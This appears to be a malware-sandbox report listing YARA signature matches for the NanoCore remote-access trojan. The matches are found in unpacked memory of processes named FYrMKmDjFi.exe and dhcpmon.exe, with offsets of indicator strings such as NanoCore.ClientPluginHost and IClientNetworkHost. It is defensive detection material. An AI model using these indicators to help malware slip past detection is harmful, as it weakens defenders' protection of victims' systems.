9.2.FYrMKmDjFi.exe.371d858.2.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
9.3.FYrMKmDjFi.exe.38a1988.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
14.2.dhcpmon.exe.3efb78e.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5f7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d624:$x2: IClientNetworkHost
14.2.dhcpmon.exe.3efb78e.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5f7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6d2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d611:$s5: IClientLoggingHost
14.2.dhcpmon.exe.3efb78e.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
14.2.dhcpmon.exe.3efb78e.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d5ad:$a: NanoCore 0x2d5c2:$a: NanoCore 0x2d5f7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d369:$b: ClientPlugin 0x2d384:$b: ClientPlugin
4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5f7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d624:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5f7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6d2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d611:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
4.2.FYrMKmDjFi.exe.3f7b78e.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d5ad:$a: NanoCore 0x2d5c2:$a: NanoCore 0x2d5f7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d369:$b: ClientPlugin 0x2d384:$b: ClientPlugin
10.2.dhcpmon.exe.2f14ff4.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
10.2.dhcpmon.exe.2f14ff4.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x101b7:$s5: IClientLoggingHost
10.2.dhcpmon.exe.2f14ff4.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q 0x10efc:$j: #=q 0x10f18:$j: #=q
15.2.dhcpmon.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
15.2.dhcpmon.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
15.2.dhcpmon.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
15.2.dhcpmon.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
4.2.FYrMKmDjFi.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
4.2.FYrMKmDjFi.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
4.2.FYrMKmDjFi.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
14.2.dhcpmon.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
14.2.dhcpmon.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
14.2.dhcpmon.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
14.2.dhcpmon.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
4.2.FYrMKmDjFi.exe.56f0000.6.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.56f0000.6.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.3f805c4.4.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.3f805c4.4.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.3f805c4.4.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
13.2.dhcpmon.exe.292248c.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
13.2.dhcpmon.exe.292248c.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0xe3b7:$s5: IClientLoggingHost
13.2.dhcpmon.exe.292248c.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q 0xf0fc:$j: #=q 0xf118:$j: #=q
15.2.dhcpmon.exe.3cf05c4.5.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
15.2.dhcpmon.exe.3cf05c4.5.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
15.2.dhcpmon.exe.3cf05c4.5.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
15.2.dhcpmon.exe.2d09620.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
15.2.dhcpmon.exe.2d09620.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
12.2.FYrMKmDjFi.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.FYrMKmDjFi.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
4.2.FYrMKmDjFi.exe.5860000.8.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.5860000.8.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.5860000.8.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
15.2.dhcpmon.exe.3ceb78e.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x145e3:$x1: NanoCore.ClientPluginHost 0x2d5f7:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x14610:$x2: IClientNetworkHost 0x2d624:$x2: IClientNetworkHost
15.2.dhcpmon.exe.3ceb78e.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x145e3:$x2: NanoCore.ClientPluginHost 0x2d5f7:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x156be:$s4: PipeCreated 0x2e6d2:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x145fd:$s5: IClientLoggingHost 0x2d611:$s5: IClientLoggingHost
15.2.dhcpmon.exe.3ceb78e.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
15.2.dhcpmon.exe.3ceb78e.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x14599:$a: NanoCore 0x145ae:$a: NanoCore 0x145e3:$a: NanoCore 0x2d5ad:$a: NanoCore 0x2d5c2:$a: NanoCore 0x2d5f7:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x14355:$b: ClientPlugin 0x14370:$b: ClientPlugin 0x143a0:$b: ClientPlugin 0x145b7:$b: ClientPlugin 0x145ec:$b: ClientPlugin 0x2d369:$b: ClientPlugin 0x2d384:$b: ClientPlugin
12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x24198:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x241c5:$x2: IClientNetworkHost
12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x24198:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x25273:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x241b2:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.41e4bed.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0.2.FYrMKmDjFi.exe.2d83754.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0.2.FYrMKmDjFi.exe.2d83754.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0xe3b7:$s5: IClientLoggingHost
0.2.FYrMKmDjFi.exe.2d83754.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q 0xf0fc:$j: #=q 0xf118:$j: #=q
13.3.dhcpmon.exe.3b20108.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
13.3.dhcpmon.exe.3b20108.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
13.3.dhcpmon.exe.3b20108.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
13.3.dhcpmon.exe.3b20108.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
13.2.dhcpmon.exe.292248c.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
13.2.dhcpmon.exe.292248c.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x101b7:$s5: IClientLoggingHost
13.2.dhcpmon.exe.292248c.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q 0x10efc:$j: #=q 0x10f18:$j: #=q
12.2.FYrMKmDjFi.exe.41e05c4.4.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
12.2.FYrMKmDjFi.exe.41e05c4.4.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.41e05c4.4.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x287c1:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287ee:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x287c1:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2989c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287db:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.3f805c4.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x287c1:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287ee:$x2: IClientNetworkHost
12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x287c1:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2989c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287db:$s5: IClientLoggingHost
12.2.FYrMKmDjFi.exe.41e05c4.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
4.2.FYrMKmDjFi.exe.5860000.8.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
15.2.dhcpmon.exe.3cf05c4.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x287c1:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x287ee:$x2: IClientNetworkHost
15.2.dhcpmon.exe.3cf05c4.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x287c1:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x2989c:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x287db:$s5: IClientLoggingHost
15.2.dhcpmon.exe.3cf05c4.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
10.2.dhcpmon.exe.3f8df50.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
10.2.dhcpmon.exe.3f8df50.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
